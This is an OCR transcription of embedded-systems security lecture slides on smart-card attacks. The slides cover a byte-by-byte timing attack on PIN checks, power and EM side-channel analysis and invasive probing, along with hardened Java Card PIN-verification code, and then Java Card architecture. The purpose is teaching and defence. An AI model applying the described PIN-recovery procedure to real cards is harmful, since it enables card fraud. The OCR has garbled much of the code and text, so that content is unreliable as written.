 Je vous demande de :
* multiplier le contenu du pot rouge par 7
* multiplier le contenu du pot bleu par 10
» d'additionner les deux résultats
* de me dire si la somme est paire ou impairg
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* Mettez 28 dans un w p&Ls et 10 dans l'autre :

Un jeu

e Jevousd e:
* multiplier le cOftenu du pot rouge par 7
* multiplier le contenu du pot bleu par 10
» d'additionner les deux résultats
* de me dire si la somme est paire ou impaire.

. Est—c?e gue votre réponse est suffisante pour révéler le contenu de chaque
pot -
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Est-ce que ce jeu peux m'aider?

* Et bien, normalement non :

28 x7+10x 10 =296 est un nombre pair
et
10x 7+ 28 x 10 =350 est aussi un nombre pAIN

* Pourtant, juste en observant le temps pris po er la réponse (le

calcul mental conduisant a 296 est plus com (“gv
conduisant a 350), on peut dire quelles valé @' aient dans quels

pots !
Sécurité des systémes embarqués@%) uveron 339

Conclusion @

S ernz du temps de calcul d'une carte peut

4

* Une observation
conduire a la fuj
exemple des gi¢

* Les timin cks sont apparues au début des années 1990.

* La lecon apprise : Les logiciels actuels pour cartes s'exécute en temps
constant.
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La « timing attack »

Start

.--"‘.I"--.

l— Decigion

F 2
T 4AL Process 1 TORReR ‘ § )
¥ <£§§§Z;7

end
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La “timing atta rle PIN (1/2)

for (1 =0 ; 1 <= 7,5+
if ( pinCarte
return fal

return true ;

E8 pinCarte
pinPresente [ i ] ) 1.3.2.4.250.7.9.134

<> ———— e

* Présentons qguelcongue et déroulons le programme :

* casdu ier octet FAUX
i =20
i <=7 ? OUI .
t ( pinCarte [ i1 ]1Y!= pinPresente [ 1 ] ) ? OUI plnPresente
return false 0,0,0,0,0,0,0,0
* Cas du premier octet VRAI
i =20
[i <= 7 ? OUI
/ ( pinCarte [ 1 ] != pinPresente [ 1 ] ) ? NON pinPresente
i++
AtIJ_ <= 7 ? OUI 1!050!0!0!0,0!0
( pinCarte [ 1 ] != pinPresente [ 1 ] ) ? OUI

\\‘ireturn false
342
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La “timing attack” sur le PIN (2/2)

for (i =10 ; i <= 7; i++) g5 pinCarte
if ( pinCarte [ 1 ] !'= pinPresente [ 1 ] )
return false ; 1,3,2,4,250,7,9,134
return true ;
“
* Présenter les n valeurs possibles de pinPresente[0] (256 valeurs) (n,0,0,0,0,0,0,0).
* Mesurer la durée d'exécution de la commande T pour les n valeurs. pinPresente
e Calculer T[n0] le maximum des T
soit T[n0] = max(T[n]); n=0; ...; 255 0’0’0’0’0’0’0’0
n0 est la solution pour pinCarte [0] ,0,0,0,0,0,0,0

* |térer sur tous les pinPresente[i]
255,0,0,0,0,0,0,0
* Nombre d'essais : 8 * 256 = 2048 (contre 2568 en force b

* On peut méme s'arréter avant n=255 !

Sécurité des systemes embarqués - | uveron 343
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Exemples de pr, ion (1/2)

alea = random ( O , B alea situe dans l'intervalle [0 ; 7]
for (1 =0 ; i <= i+ {
octet = ( ale X mod 8 ;
if ( pinCart t ] != pinPresente [ octet ] )
return e ; é

}

return true .

* Nombre d'es en moyenne : 8 * 2048 (contre 2568 en force brute)
* Possibilité d'attaques de type MasterMind.
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Exemples de protection (2/2)

boolean test = true ;
for (1 =0 ; 1 <= 7; 1i++) {
if ( pinCarte [ 1 ] '= pinPresente [ 1 ] )
test = test && false ;
else

test = test && true ;
}

return test ;

e Equivaut a :

boolean test = true ;
for (1 =0 ; 1 <= 7; i++) {
test = ( pinCarte [ i ] == pinPresente [ i ] ) tesk) ;
}
return test ; @

* Et pas:
boolean test = true ;
for (i =0 ; 1 <= 7; i++) {
test = test && ( pinCarte [ 1 ] == pin}yes [ 11) ;

}

return test ;

Des attaques en temps existent sur d'autres supports (e. C).
Voir par exemple : Cache-timing attacksonAES-cweCACH R+=UN AND PROFIT

¢
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And what about security ?

* Write securely a function that checks that an array is equal to another
with less than 3 trials.

boolean verify (byte[] buffer, short ofs, byte len)

{...}

* Need a constant maxTries initialized at 3,

* A field which memorize the trial number, says ;e ft
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boolean verify (bytel] bééézzi short ofs, byte len)

{

// No comparison is blocked
1f (triesleft <£LO)
return fal Called by a friendly

o programer who has
// Main com on checked 1en before ;-)
for (short j¥ < len; 1i++)

if (bpiffer[ofs+i] != pin[i])
{

triexfeft-- ;
authenticated[0] = false ;
return false ;

}

// Comparison is successful
triesleft = maxTries ;
authenticated[0] = true ;
return true ;
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boolean verify (byte[] buffer, short ofs, byte len)

{

// No comparison if PIN is blocked
if (triesLeft <= 0)
return false ;

// First decrements the number of remaining tries
trieslLeft-- ;

// Main comparison

boolean equal = true ;
for(short i=0; 1 < len; i++)
equal = (equal && (buffer[ofs+i] == pin[i])) ;// ¢ e

if (lequal) {
// Comparison failed
authenticated[0] = false ;
return false ;

}

else {
// Comparison is successful
triesLeft = maxTries ;
authenticated[0] = true ;
return true ;
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boolean verify (byte[] buffer, s@s, byte len)

{

// No comparison if PINf /s cked
if (triesleft <= 0)
return false ;

// First decremengs, the er of remaining tries
trieslLeft-- ;

// Main compa

boolean equa true ;
for (short 1 i < len; i++)
equal && (buffer[ofs+i] == pin[i])) ;// cst time

if ('equal) {
// Comparison failed No l
authenticated[0] = false ; ®

return false ;

}

else {
// Comparison is successful
triesLeft = maxTries ;
authenticated[0] = true ;
return true ;
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boolean verify (byte[] buffer, short ofs, byte len)

{
// No comparison if PIN is blocked
if (triesLeft <= 0)
return false ;

// First decrements the number of remaining tries
trieslLeft-- ;

// Main comparison

boolean equal = true ;
for(short i=0; 1 < len; i++)
equal = ((buffer[ofs+i] == pin[i]) && equal) ;// c e

if (lequal) {

// Comparison failed

authenticated[0] = false ;

return false ; [ ]
}
else {

// Comparison is successful

triesLeft = maxTries ;

authenticated[0] = true ;

return true ;

} Sécurité des systemes embarqués - | 2/ 9 - uveron 351

¢

public final static short BOOL T (short) O0x5aba ;
public final static short BOO LSE”= (short)0xabab ;
short equal = BOOL TRUE ;

// Main comparison
for (short i=0; 1 < le
equal = (short)

ofs+i] != pin[i])? BOOL FALSE: BOOL TRUE)) ;

if (equal == BOO
// Comparisd
trieslLeft = maxTN]
authenticated[0] = true ;
return true ;

}

else {
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// First checks the integrity of the variable
if (trieslLeft != triesLeftBackup)
takeCountermeasure () ;

// No comparison if PIN is blocked
if (triesLeft < 0)
return false ;

Correct?
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// First checks the inte ggéi;?f the variable

if (triesLeft != tries ckup)
takeCountermeasurel()

// No comparison if is blocked
if (triesLeft < 0)

return false& 0
oIt protects only/gainst a writing between the last and the current

one. If the atta ing the evaluation...
«RAM is safer than ROM

// Transfer in a local and check the integrity of the variable
byte tl = trieslLeft ;

if (tl != triesLeftBackup)
takeCountermeasure () ;

// No comparison if PIN is blocked
if (£l < 0)

return false ; Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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boolean verify (byte[] buffer, short ofs, byte len) ({

byte tl = trieslLeft ;
if (tl != (short) (~triesLeftBackup)) takeCountermeasure() ;
if (tl < 0) return false;
JCSystem.beginTransaction() ;

trieslLeft = --tl ;

triesLeftBackup++ ;
JCSystem.commitTransaction() ;
if (triesLeft != (short) (~triesLeftBackup)) takeCountermeasure() ;
short equal = BOOL TRUE ;
for (short i=0; i < len; i++)

equal = (short) (equal &

((buffer[ofs+i]!=pin[i]) ?BOOL_FALSE:BOOL_ TRUE)) ;

if (equal == BOOL_TRUE) ({

JCSystem.beginTransaction() ;
trieslLeft = maxTries ;
triesLeftBackup = (byte) (rmaxTries) ;

JCSystem.commitTransaction() ;

// Verifies the new value

if (triesLeft!=(short) (~triesLeftBackup))
takeCountermeasure () ;

authenticated[0] = true ;
return true ;

} else {
authenticated[0] = false ;

return false ;
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boolean verify(byte[] buffer, rt s, byte len)
{

// Initializes the ste ou

short stepCounter = I IA NTER ;

// First checks the (n ity of the variable

byte tl = trieslLe

stepCounter++ ;

if (tl != (shor esLeftBackup)) takeCountermeasure() ;
stepCounter++

// No comparys{n if PIN is blocked
if (tl < 0) n false ;
stepCounter++
// First decremen the number of remaining tries
JCSystem.beginTransaction () ;
triesLeft = --tl ;

stepCounter++ ;
triesLeftBackup++ ;
JCSystem.commitTransaction () ;
stepCounter++ ;
// Verifies the new value
if (triesLeft != (short) (~triesLeftBackup)) takeCountermeasure() ;
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stepCounter++ ;
short equal = BOOL TRUE ; // Main comparison

stepCounter++ ;
for (short i=0;i<len;i++)
equal = (short) (equal &
((bufferfofs+i] !=pin[i]) ?BOOL_FALSE:BOOL TRUE)) ;
stepCounter++ ;
if (equal == BOOL TRUE) {// Comparison is successful
//Reset the tries to the max
stepCounter++ ;

JCSystem.beginTransaction () ;
trieslLeft = maxTries ;
triesLeftBackup = (byte) (rmaxTries);

JCSystem.commitTransaction () ;

stepCounter++ ;

if (triesLeft!=(short) (~triesLeftBackup))
takeCountermeasure () ;

stepCounter++ ;

authenticated([0] = true ;

if (stepCounter == (short) (INITIAL VALUE+1l1l) )
return true ;

} else { // Comparison failed

stepCounter++ ;
authenticated[0] = false ;
if (stepCounter == (short) (INITIAL VALUE+9))
return false ;
}
takeCountermeasure() ; // Should have returne t ot oint
Sécurité des systemes embarqués - | 2/ 9 - uveron
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Other well kno les ...

if (pin.isValidated()

// sensitive op

ISOExceptigq it ((short) (0x6300+pin.getTriesRemaining())) ;
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Other well known rules ...

if (pin.isValidated() == true)

{
if (pin.isValidated() == false)
{

ISOException.throwIt ((short) (0x6300+pin.getTriesRemaining()));

// sensitive operations

else
ISOException.throwIt ((short) (0x6300+pin.getTriesRemaining/() v

}
» Références:

http://iavacard.vetiIIes.com/2008/05/15/]c101—12c-£fs/ g-against-attacks/

Ronald De Keulenaer, Jonas Maebe, Koen De BossgfieresBjorn De Sutter. Link-time
smart card code hardening. International Journ rmation Security, 2015
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La consommation de courant
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La consommation de courant

* Elle est surtout utilisée dans le domaine de la cryptographie.

* || existe différentes attaques :
* |a SPA (Simple Power Analysis)
* |a DPA (Differential Power Analysis)
* [a HODPA (High Order Differential Power Analysis)

@@
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IMPORTATION&E@)EUF ?

* Seattle, 1999.

* Les representa p ais et Américains négocient sous quelles
conditions Ie pourralt étre importé en France.
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IMPORTATION DU BOEUF ?

* Seattle, 1999.

* Les représentants Francais et Américains négocient sous quelles
conditions le beoeuf pourrait étre importé en France.

* «The Sun » envoie un journaliste pour enquéter :

@

IMPORTATION @)EUF ?

* Maisilyaun pro e technique : les négociations se déroule dans
un hotel aux vitres OPé




Attaque sur la consommation

* |[dée : Regarder le compteur électrique de I’hotel !

Attaque Sur |a& mmation
* Le disque tourne& L \




Attaque sur la consommation

* Le disque tourne lentement:

* Mais si le disque &e rapidement :
¢




Attaque sur la consommation

Attaque sur la&
* Mais si le disque éérge rapidement :

()
c

eeeee
nereditary !




Conclusion

* The card's current consumption may reveal secret information.

-"-l"-.p'F
osl

e o9

1 — U

input output
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La SPA (Simple i}% r Analysis)
* Principe : Des insifdctjons différentes ont une trace différente.

multiplication

addition /\

XOR /\
stockage dans un registre A
stockage du registre en mémoire oo

— .25

E 40

Consommation en courant d'un EJ;:N ' . ﬂw/u’ﬂw %W/w "U‘ .
DES. On peut voir la permutation 3 sanfl ¥ ! | ! tﬁj :

e e o . L0
initiale, suivie des 16 tours. ’

275

¢ ] 76 24 32 4.0 a8 56 64 7E a0

Time (mS)
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SPA sur la signature RSA (théorie)

* Signature RSA:y2 modn S
* y est le message a signer, { .~ sts mod n

* n est public, if E[S*iy ]mo=d= nl);

* 3, I'exposant peut étre considéré comme | '

la clé secrete L bits
: . » f N
a EEED:I] M”’mad j Carre modulaire
O

}@
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Un exemple réeel

Test key value : OF 00 FO 00 FF 00

| Key value :|2E C6 91 5B F9/4A




La DPA (Differential Power Analysis)

* Principe : La consommation dépend des opérations effectuées (les instructions)
mais aussi des opérandes.

* Elle utilise des fonctions statistiques adaptées a l'algorithme visé qui font ressortir
des corrélations entre un bit intermédiaire a (ne dépendant que d'un fragment Kr
de r bits de la clé et du message d'entrée M) et la consommation de courant.

» Based on SPA
Adding the power of statistics to separate signal from ngise

T \ i\i\:‘_‘”'
‘[ aday o b 377
Concrete attac oncrete keys
* Comparing:
* decryption with 0001111

. decryptlon ) y= 1111111 ...

M sty

token designed and manufactured in 1998...
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V' DPA Hypothesis

Play the algorithm N times
(100 <N < 100000)

Input data
(FriESSatES H Algorithm |—~C_

sumptlon
urves W,
ther side channel
ge like EM radiation) 379

Acquisi{isn procedure

22

. Aft ata cOllection, what is available ?
|n and/or cipher random texts

B688EES57BB63EO3E
01 185D04D77509F36F
C031A0392DCS881E6 .

orrespondmg power consumption waveforms

Wer

|'. BTES IR ETAR" RY, ‘ AR
LTRR TR [ y Y \ i“ U \ \‘ N\ 380



Hypothese et test

——

| / M T Bt

A

Ki
X
A I » Selection
e #
n ]

—

W,

Y

0 Année de
7 naiss;nca

Jouan

¢

il

Groupe |
50 %

Sélection
E—

Lieu de
naissance

BR : Blond Roux

CB : Chatain Brun

| : Impair

P : Paire

RP : Région Parisienne
PV : Province

A 80 %

Couleur des

Sélection
e

BV : Bleu Vert

30 %

s Mg@j

M
\"l e
Sécurité des systemes embarqués - | 2/ 9 - uveron

CUR /GroupeP

/Groupe RP\

Groupe PV

YO Groupe Mw
B 70 %

M : Marron \‘CG_\

Groupe ER 10 %
‘
l Groupe BR 80 % '

roupe BY

Diff BR=0

Groupe BR 30 %

Diff BR=70

DPA
381
Notion de
corrélation
382



La HODPA (High Order DPA)

* La HODPA ou DPA d'ordre n est aussi basée sur une étude statistique
de la consommation de courant de la carte.

* Différence : elle utilise des corrélations entre la consommation de
courant et n variables intermédiaires ne dépendant d'un
fragment de la clé et du message d'entrée.

* Elle est beaucoup plus difficile a réaliser, mai
puissante.

Sécurité des systemes embarqués - | 2/ 9 - uveron

¢

COUNTER-COU MEASURE

e Against adding n othe power consumption signal.
 Capture electrgmagnésic radiation at various chip locations!

* Equipment:

Y

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Les émissions EM

* Principe : Les courants qui circulent dans la puce induisent des champs électromagnétiques qui
sont susceptibles de donner le méme type d'information que le courant.

» Différence : L'information est plus locale. On peut déplacer la micro-sonde électromagnétique au
dessus de la zone qui nous donnera le plus d'informations (exemple : co-processeur
cryptographique).

* Avantage : Insensible aux contre-mesures physiques tels que I'ajout de bruit en sortie ou le lissage
de la consommation globale de courant.

* Inconvénient : La reproductibilité des mesures est difficile. o\

Sécurité des systemes embarqués - 386

Différence EM/ r

» EM signals versus X¥ p position
Differential traces be (0% ® 00h) and (FFh & 00h) picked up at different
locations
g
EM <

t
L
1
i

\_ rs rANTy ,,_ ,W..WM-M

|
'

s i % Ll P S S PR T e

; w - i

| \ Data signatures” -~

L

a 200 200 B0 BOG 1ooo 12040 14040 1400 15800 2000
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Le dispositif de cartographie EM

» Horizontal cartography (XY plane)
= to pinpoint instruction related areas
= better if automated

Cartographie

plitude de chaque

J| LAy

Ordonnées (6.5 mm)

Ordonnées (6.5 mm)

Abscisses (5.5 mm)
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Attaques EM

* la SEMA (Simple EM Analysis)

* la DEMA (Differential EM Analysis)

* => nécessite moins d'acquisitions

@@

Sécurité des systemes embarqués - @9 E uveron 390

La rétro-conce logicielle

* méthode du « dictio ir

o a”““& B -E
* La séquence des deux :
I 0. 1. @

* Utilisation possible de la consommation en courant ou des émissions EM.

* Statut : recherches en cours mais de beaux résultats a WISTP 2007,
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Quelgques attaques mva@@

Sécurité des systemes embarqué @ uuuuuu

Des attaques |Z§g‘§>}es

. mlcro-problng

. modlflcatlon uit (F
* rétro- con& du circuit

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Le FIB (Focused lon Beam)

High voltage 4L

supply

Focusing
i~

Ga*ion
source

Lenses

— Beam deflexion

Secondary

— Stage control |—

—  electrons /
Detector ‘%

CPU Specimen current
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N

Modifications weuits (1/2)

<o
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Chip Re-Wiring / Addition of a Track

Sécurité des systémes embarqués - |
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Micro-probing

Sécurité des systemes embarqués - I

es cher !
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Cotation d'une attaque

¢ Niveau d'expertise requise
e Expert, ..., homme de la rue

¢ Connaissance du produit
* Information publique, diffusion restreinte, sensible, critique

¢ Accés au produit
¢ Nombre d'échantillon nécessaire : <10 , <100, <1000, non pratiquable

* Temps d'identification
e <1 heure, 1 jour, 1 semaine, 1 mois, ...

* Temps d'exploitation
* <1 heure, 1 jour, 1 semaine, 1 mois, ...

« Equipement
* Aucun, standard, spécialisé, ...

=> La sécurité et le business s'opposent. Il faut donc trouver un juste com

Sécurité des systemes embarqués - |

Le piratage faci vidéo

How to Reverse-Engineer a Satellite TV Smart Card.mp4
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Mifare

Sécurité des systemes embarqués - @9 g auveron 402

JSR-268 Java S ard |/O AP|

e APIs for APDU-bT& munication with Smart Cards

* in Java Platfor

* package java tcardio
* Terminalpgct erminalFactorySpi, CardTerminal
* Card, annel

* CardExceptigy/CardPermission
* ATR, CommandAPDU, ResponseAPDU

* Comments
* JC-RMI proxy generators based on it
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Example

// show the list of available terminals
TerminalFactory factory = TerminalFactory.getDefault ();
List<CardTerminal> terminals = factory.terminals().list();

System.out.println("Terminals: " + terminals);

// get the first terminal

CardTerminal terminal = terminals.get (0);

// establish a connection with the card
Card card = terminal.connect ("T=0");

System.out.println ("card: + card);

CardChannel channel = card.getBasicChannel () ;
ResponseAPDU r = channel.transmit (new CommandAPDU )

System.out.println("response: " + toString(r.ge te ) ;

// disconnect

card.disconnect (false) ’ Sécurité des systemes embarqués - | 2/ 9 - uveron 404

¢
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Qu’est ce que Java Card ?

* Technologie permettant de faire fonctionner des applications écrites en langage Java pour :
* carte a puce

* autres périphériques a mémoire limitée (par exemple iButton)

* De maniére intuitive :
* |l s'agit d'une carte basée sur un interpréteur de bytecodes.

ysteme d_'Exploitation

Carte assique, =

* La technologie Java Card définit une plate-forme pour certeyaduce sécurisée, portable et multi-
9 -0,

applicative qui incorpore beaucoup des avantages dy/Jhng va.
Sécurité des systemes embarqués - | 2/
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Les avantages echnologie Java Card

* La facilité de développement des icatioQyfgrace :
* alaprogrammation orientée par Java
* al'utilisation des environne loppement existants pour Java.
* aune plate-forme ouvertg Pls et un environnement d'exécution standard.
* al'encapsulation de la ekité sous—ante du systeme des cartes a puce.

e Lagestion dynamique d les applications
* ==>possibilité de misesWfour des applications de la Java Card sans avoir besoin de changer de cartes
e ==>possibilité d'offrir des nouveaux services

Java Card = Java + smart Card

* La compatibilité avec les standards existants pour les cartes a puce

Java:
e 1507816 : reliable
Protocole de communication Ssecure
Protocole de haut niveau pour la gestion de fichiers, etc Sobject-oriented

Shardware-independent

. Javacard

Smart Card:
Jsecure
Sportable
Scompact

* Onverra les inconvénients plus tard.
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La plate forme Java

* Java est un langage de programmation
* Voir le « white paper » de J. Gosling

* Un programme Java

est compilé et interprété

* Java est une plate-forme
* La plate-forme Java, uniguement software, est exécutée s

systeme d’exploitati
* La « Java Platform »

on,
est constituée de :

* La « Java Virtual Machine » (JVM)

* Des interfaces de p
* Une interface pour

rogrammation d’application (Java A
les méthodes natives (JNI)

7’

Sécurité des systemes embarqués - | 2 /749 - uveron

¢

Architecture d ate-forme

a plate-forme du

&o Java Application

poN

A,

VA
v

Java Programming Language

e

a
e
Interface

Java Class Library

Java Virtual Machine

Classloader Verifier

Execution

Operating System
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Les differentes plates-formes

Java 2 Platform Micro Edition

410

Les composa n@&
* Le langage de prw ation,
¢

* La librairie,
* La machine e
* Un jeu dAifstruttion interprétable (byte codes)
* Un for argement, pas forcément équivalent au format d’exécution le
class file

* Un algorithme de vérification des régles de typage Java ramenées au byte
code, obligatoire pour les applets,

* Un compilateur a la volée.
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Java langage de programmation

* Java est un langage de programmation particulier qui possede des
caractéristiques avantageuses :
* Simplicité et productivité :
* |ntégration compléte de 'O0
* Gestion mémoire (« Garbage collector »)

Robustesse, fiabilité et sécurité (langage fortement typé
Indépendance par rapport aux plates-formes

Distribution et aspects dynamiques
Performance

Sécurité des systemes embarqués - @9 - uveron

Machine virtu?@m

* La JVM définit:

* Les mstructlo
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* U'espace mémoire partagé :
* Stockage des classes et des données statiques,
» Stockage des objets (les instances) dans le tas.
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Machine virtuelle Java

class
class files loader
subsystem
native
method heap Java pe method
area stacks registers
stacks

runtime data are

execution -

Sécurité des systemes embarqués -

Machine virtu Va

* Trois taches principQles:
* Charger le codeJcla ader)
* Vérifier le c te code verifier)

* Exécuter runtime interpreter

* D'autres ds s’exécutent:
* Garbage co or
* (JIT compiler)

Sécurité des systemes embarqués -

native method

engine  interface

&

uveron

)

ISIMA - 02/2019 - D. Sauveron
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Sécurité par le typage

* En Java les pointeurs existent mais:

* la manipulation explicite d'un pointeur en tant que tel est impossible en Java
le compilateur vérifie cette regle ainsi que la VM. Ainsi le code suivant n’est
pas compilable:

p=new Object ()
pt++;

* tous les objets Java sont en fait des pointeurs (que I'on_ YdmmpgJréférences).

<> rences) sont

dbjets dans le tas.

* Les variables locales (variables de types primitif;
allouées sur la pile (ou dans les registres) et |

* On ne controle pas la zone d'allocation ni era effectuée la
désallocation.

Sécurité des systemes embarqués - | 2 /749 - uveron 416
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Sécurite par le e

* Lors du chargemefK | vérifie si, au niveau byte code, il n’y a pas
de transtypage n¥ c <gspondant pas aux regles de Java : c’est le role

correct.

* Donc la sécurig par le typage repose sur :
* Un algorithme dans le compilateur,
* Un autre dans la VM.
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Java Card

* Attention

* Les informations concernent Java
Java Card = Java + smart Card Card 3.0 Classic Edition (pas
Connected Edition) et Java Card
2.X

Java:

Sreliable

secure
Sobject-oriented
Shardware-independent

o Javacard

Smart Card:
Dsecure
Sportable
2compact

Sécurité des systemes embarqués - | uveron 418

&

Présentation gé¢ le

cifitations

forge Java

.com/technetwork/java/embedded/javacard/index.html

* Un ensemble de
* Publiées par
* Basées sur |
* http://w

* Découpé trois parties
* Application W@gramming interfaces (APIs)

* Execution environment (JCRE)

* Virtual machine (VM) o JCRE
Java T AP

Juva Card Virtual Machine
{inferprétcurde bytecode)

|Huardware de la cante & puce el systéme natif,
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Agenda

* Introduction

* JCRE (Runtime Environment)
* JCVM (Virtual Machine)

* APIs

@C@

Sécurité des systemes embarqués - @9 E uveron

Un autre pointé%@e

e Architecture &
* Mémoire O
* Les différ'ons

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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L'architecture Java Card

Development Library

Jjar

Java source code

Java Class files

Java
Compiler

Jar Byte code verifier,

converter, and sigpad

‘ Java Card Virtual Machine " Off-card log f’

l Java Card files
4 API
On-card| *
Interpreter
loader

\_ O.S. cap

Sécurité des systemes embarqués@%) uveron

Architecture
* Converter (part ofthe JEDK):
* Class file formatta 00 much space on Java Card
* Produces a that fits the Smart Card constraints,

* java

0 format
esentation of the content for pre-linking

ses all class files of a package and all export files of ALL
imported packages,
* Output an Export file and a Cap file

* Tokenizati

* Conversion process
* Verifies the Java Card language restriction
* Optimize byte code
* Invokes the off card verifier

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Two specific file formats

* The CAP (Converted Applet) file format
* Contains all the classes from one package
* Semantically, is equivalent to a set of class (.class) files

* Syntactically, differs a lot from class (.class) files
* All “string names” are replaced by “token identifiers”

* The EXP (Export) file format

* Maintains the consistency between the originated clgs
resulting CAP file

* Only for public (exported) data

* Contains APl information for a package of classes (acc€as\s
signature, ...)

* Can be freely distributed, used during pre-li
* Not loaded into the card

73
The CAP file @7

* Contains an execyfdble fepresentation of package classes
 Contains a set gf\co nents (11)
e Each compo (@ scribes an aspect of CAP file

* Class inf
* Execut code
* Linking info,.\

* Optimized for small footprint by compact data structure
* Loaded on card

uveron 424

\
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Interdependences

.................................................................. |#Directory Component J Header Component J
3 Class Component k .................................................................. 3
¢ | Export Component |
- x,\i“\ \'\
./ [ Applet Component Method Component Consyep PONComponent  f&-
1 | .

B

[Reference Location Component

o
......

et Descriptor Component ] ............

|

[Debug Component ] .................... )i Static Field Component ) PSR
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Java Card archi re

&)
v v
o

Javaeard m;'}/@wa\mcgrd Agolat? (V)OP/GPIAPIS
Vv D

Framework APIls Applet Manager

Native AP\ Java Card Virtual Machine

gauveron 426

Natives Layers

Hardware: CPU + Memories + 10
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Java Card memory model

* By default, all objects are implicitly persistent
* Because we have few RAM
* Objects must survive between two sessions

e Some arrays can be transient

* For efficiency and security reasons
* Transactional mechanisms are provided
* All write operations on persistent memory are atomj
* At the programming level a mechanism to handle t ions is also
available

Sécurité des systemes embarqués - @9 E uveron 428

Java Card me

Persistent Heap

Transient Heap
JStack

RAM EEPROM/Flash ROM
(NVM)

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron 429



Java Card 2.1

* File format of applet:
* Standardized
* file .cap identical to .class excepted:
* One .cap file per Java package
* « Firewall » between applets

* The virtual machine must ensure that the code doesn’t of its
execution space (context)

* Means to switch the execution context
* Entry point object and global array can be accessed by .g., APDU)
* JCRE can access each object
* Interaction between applet through a shareable in C
» System.share ( Object ... ) method suppressed

Sécurité des systemes embarqués - | 2 /749 -

* Load process of th&.cap/file standardized
f 1 stops at the smart card loading,

* Interoperabili
* Object, appl@pac age deletion
* On card veffiertoptional),

* Logical chvan

uveron

Java Card 2.2

* Optional Garbage collector on demand,
 Support elliptic curves and AES algorithm,

* JC-RMI
* Skeleton/stub generator ‘a la RMI’ hide the APDU encoding-decoding
* Rapid development and integration of SC applets

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Agenda

* Introduction
* JCRE (Runtime Environment)
* JCVM (Virtual Machine)

* APIs
Execution envir ent (JCRE)
* Define how a Ja anages its resources

* Define constra e Java Card operating system
* Applet Iifet@tallatlon, register and deletion)
* Logical ch@nn nd applet selection,
* Transi jects,

* Appletisola (firewall) and sharing,
* Transaction and atomicity,

* RMI
* The JCRE is at the heart of a Java Card

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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APDU commands

* 2 types of APDU can be sent to the card:

* OS/Administrative commands
* OS commands available in JCRE and CM
¢ Select, Load, Install ..
* Administrative commands specified by SC manufacturer
* Get Info,

* Applicative commands

* specific to the JC applets loaded in the card
* eg: debit, credit, getbalance foran e-purse @

* eg: create file, update file forthe GSM

Sécurité des systémes embarqués - I - uveron

@@

2 command dispateners

* JCRE’s task: main her
* Route the inc mands to the JCVM and the selected applet
* Applet desig

* Impleme
inform

sk: second dispatcher

plet’s command dispatcher (extraction of the header
and call of the associated method)

Apolzi 2
ﬁ orocads ()
Applet B !
::‘> @
N Applei C ‘
oroc233 ()

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Unsupported features Dynamic class loading

* Classes are statically linked before being downloaded
* No way to download classes on the fly as needed...
* Applets only refer to classes which already exist on the card

;ﬁ;(- let 1
ara /

N7 —

/\

1
\V4
Sécurité des systemes embarqués - @9 E

Java Card appl @cycle

Compilati Conversion

Applet Applep Applet
sources @s fles T cap file HH AID Package Off-card

AID Class
& load

uveron 436

Un AID
RID (5 octets) PIX (0-11 octets)
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Java Card applet life cycle

Compilation Conversion
JCVM
Applet Applet Applet
sources class files |~ cap file Off-card
load
A|D | On-card
._remove |  Applet
Loaded
l lnstall&eglster
remove |  Applet Applet
Activated S Processing
Un AID
Select rocess —
RID (5 octets) PIX (0-11 octets) (—Desf}ect '/ « return

Methods of th

* An applet extend

-
Sécurité des systemes embarqués - WG) -0.

et

* [t MUST impleprgnt method install
* It MUST call hEgMpthod register
* [t MUST id@lement the method process

* [t SHOUL

[ ment select, deselect

uveron

card.framework.Applet,

* The process method can only be called if the applet has been
selected
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install method

* JCRE calls this static method first and gives
* Applet instance AID
* Applet privilege
* Applet parameters
« install method creates an instance of an Applet suhclass
* Performs any necessary initializations,

* Must call once one of the register methods
* If no parameter is provided, only one installation

bArray V J AID length H AID bytes |Priv. Iengtd PﬂB}?WD IengthIAD. bytes

bLenA’z
Sécurité des systemes embarqués - @%veron

reglisterm é@?

bOffset

* Used by the applet to reglst let instance
* Interacts with the Java C e Environment
e final void reg
* Assign the app}€t \gstanc W|th default AID bytes defined in CAP file
e final void A iJsfer byte bArray, short bOffset, byte bLenght)
* Assign appletNQso AID with the specn‘ied AID bytes

public static voi
ISOException {

stall (byte[] bArray, short bOffset, byte bLength) throws

=>

register (bArray, (short) (bOffset + 1), (byte)bArray[bOffset]);

bArray | ] AID length | AID bytes

bOffset

bLength
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process method

 Contains the core application code of the applet
* Handles all the incoming APDU messages for the applet selected
* Called by the JCRE

* Upon normal return from this method the Java Card runtime
environment sends the ISO 7816-4 success status

* If it throws an exception the JCRE sends the associgfed rgason code as

the response status @ 4
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Selection proto

Is it a select
APDU ?

Invoke its
process method

Return status
No applet is
selected

Yes

Invoke the select
of the selected
applet

Is an applet
already
selected ?

Invoke deselect
of the current
applet
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Selection protocol

Is it a select
APDU ?

No

Is an applet
already
selected ?

Yes
Invoke its
process method

Return status
No applet is

Yes

AID match

Sécurité des systémes embarqués - |

&

uveron

Selection proto

Is it a select
APDU ?

V/
?n applet
Iready

selected ?

Yes
Invoke its
process method

No

Return status
No applet is
selected
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Selection protocol

Is it a select
APDU ?

Is an applet
already
selected ?

Invoke its
process method

AID match

Invoke the select
af the selected
applet

Return status
No applet is

Is an applet
already
selected ?

Invoke deselect
of the current
applet
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O
Agenda i}g@
* Introduction
* JCRE (RuntimeERvir ent)
* JCVM (Virtu ine)

* APIs &
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Virtual machine (VM)

* This specification is made of several parts
* The definition of the Java language subset that is supported
* The definition of 2 specific file formats
* The definition of a specific instructions set

Java language

* Supported

int (optiona
Objects

Arrays

Virtual' e
Dynamic allocation
Packages
Exceptions
Interfaces

boolean, byte &
0

O

Sécurité des systemes embarqués - @9 - uveron

@

s! @}
* Not supported

float, double, long

char, String

Multi-dimensional arrays

* Garbage collector

Finalization

Threads

* Dynamic loading of classes
* Security manager
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BC interpretation

* |t is the execution engine for the byte code loaded into the card,

* It controls byte code execution, memory allocation and participate to
the security through the firewall,

e Often it includes more tests than the firewall due to the absence of

BC verifier...

